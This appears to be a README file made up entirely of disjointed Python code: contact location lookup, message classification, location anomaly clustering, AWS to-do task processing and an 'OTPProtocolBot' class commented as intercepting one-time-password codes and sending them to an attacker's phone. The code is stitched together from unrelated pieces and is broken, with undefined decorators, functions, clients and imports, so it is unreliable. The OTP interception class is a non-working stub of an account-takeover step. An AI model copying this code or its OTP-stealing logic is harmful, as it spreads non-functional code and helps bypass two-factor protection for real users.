README.md

import coremltools
import torch
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import numpy as np
import pandas as pd
from sklearn.cluster import KMeans
from scipy.spatial.distance import cdist
import geopy.distance
import logging

class AddressBook:
    def __init__(self, contacts):
        self.contacts = contacts
    
    def get_location(self, contact):
        # Get the latitude and longitude of the contact's location
        latitude = contact["latitude"]
        longitude = contact["longitude"]
        
        # Return a tuple containing the latitude and longitude
        return (latitude, longitude)

class MessageClassifier:
    def __init__(self, model_name):
        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
        self.model = AutoModelForSequenceClassification.from_pretrained(model_name)

    def classify(self, messages):
        # Tokenize the messages
        inputs = self.tokenizer(messages, padding=True, truncation=True, return_tensors="pt")

        # Classify the messages
        outputs = self.model(**inputs)
        probs = torch.nn.functional.softmax(outputs[0], dim=-1)
        labels = torch.argmax(probs, axis=1)

        # Convert the labels to a numpy array and return them
        return labels.numpy()

class AnomalyDetector:
    def __init__(self, num_clusters):
        self.num_clusters = num_clusters

    def detect(self, location_history):
        # Convert the location history to a pandas DataFrame
        df = pd.DataFrame(location_history, columns=["latitude", "longitude"])

        # Determine the optimal number of clusters using the elbow method
        distortions = []
        K = range(1, self.num_clusters+1)
        for k in K:
            kmeans = KMeans(n_clusters=k, random_state=0).fit(df)
            distortions.append(sum(np.min(cdist(df, kmeans.cluster_centers_, 'euclidean'), axis=1)) / df.shape[0])
        k_opt = K[np.argmin(distortions)]

        # Perform clustering
        kmeans = KMeans(n_clusters=k_opt, random_state=0).fit(df)
        df["label"] = kmeans.labels_

        # Determine which clusters are anomalous
        cluster_counts = df["label"].value_counts()
        anomalous_clusters = cluster_counts[cluster_counts < cluster_counts.quantile(0.1)].index

        # Determine which points are anomalous
        anomalous_points = df[df["label"].isin(anomalous_clusters)]

        # Convert the anomalous points to a list of dictionaries and return them
        return anomalous_points.to_dict("records")

class GeoLocation:
    def __init__(self, location):
        self.location = location

    def get_distance(self, contact_location):
        # Calculate the distance between the user's location and the contact's location
        distance = geopy.distance.distance(self.location, contact_location).km

        # Return the distance
        return distance

class OTPProtocolBot:
    def __init__(self, protocol):
        self.protocol = protocol

    def intercept(self, message):
        # Check if the message contains the OTP code
        if "OTP code" in message:
            # Intercept the OTP code and send it to the attacker's phone
            otp_code = message.split(":")[-1]
            self.protocol.send_otp_code(otp_code)

class LegacyProtocolBot:
    def __init__(self, protocol):
        self.protocol = protocol

    def bypass(self):
        # Bypass the legacy protocol and send the message using the new protocol
        self.protocol.use_new_protocol()

class MLModelConverter:
    def convert_model(self, model):
        # Implement the logic to convert the model
        pass

        return []

@authenticate_user
def save_todo_list(todo_list: List[Dict]) -> None:
    """
    Save the to-do list to the specified file.
    """
    with open(TODO_LIST_FILE, "w") as f:
        json.dump(todo_list, f)

@authenticate_user
def add_task(task: Dict) -> None:
    """
    Add a task to the to-do list.
    """
    todo_list = load_todo_list()
    todo_list.append(task)
    save_todo_list(todo_list)

@authenticate_user
def remove_task(task: Dict) -> None:
    """
    Remove a task from the to-do list.
    """
    todo_list = load_todo_list()
    if task in todo_list:
        todo_list.remove(task)
    save_todo_list(todo_list)

def process_task(task: Dict) -> None:
    """
    Process a task using the appropriate AWS service.
    """
    if "upload" in task:
        filename = task["upload"]
        s3.upload_file(filename, "my-bucket", filename)
        logging.info(f"Uploaded file {filename} to S3 bucket my-bucket")
    elif "lambda" in task:
        function_name = task["lambda"]
        response = lambda_client.invoke(FunctionName=function_name, Payload=json.dumps(task))
        logging.info(f"Invoked Lambda function {function_name} with response {response['StatusCode']}")
    elif "comprehend" in task:
        text = task["comprehend"]
        sentiment = comprehend.detect_sentiment(Text=text, LanguageCode='en')
        logging.info(f"Detected sentiment {sentiment['Sentiment']} in text: {text}")
    else:
        logging.warning(f"Task not recognized: {task}")

@authenticate_user
def process_todo_list() -> None:
    """
    Process all tasks in the to-do list.
    """
    todo_list = load_todo_list()
    for task in todo_list:
        process_task(task)

# Example usage
add_task({"upload": "/home/user/data.txt"})
add_task({"lambda": "my-function", "message": "hello"})
add_task({"comprehend": "This is a positive message."})
process_todo_list()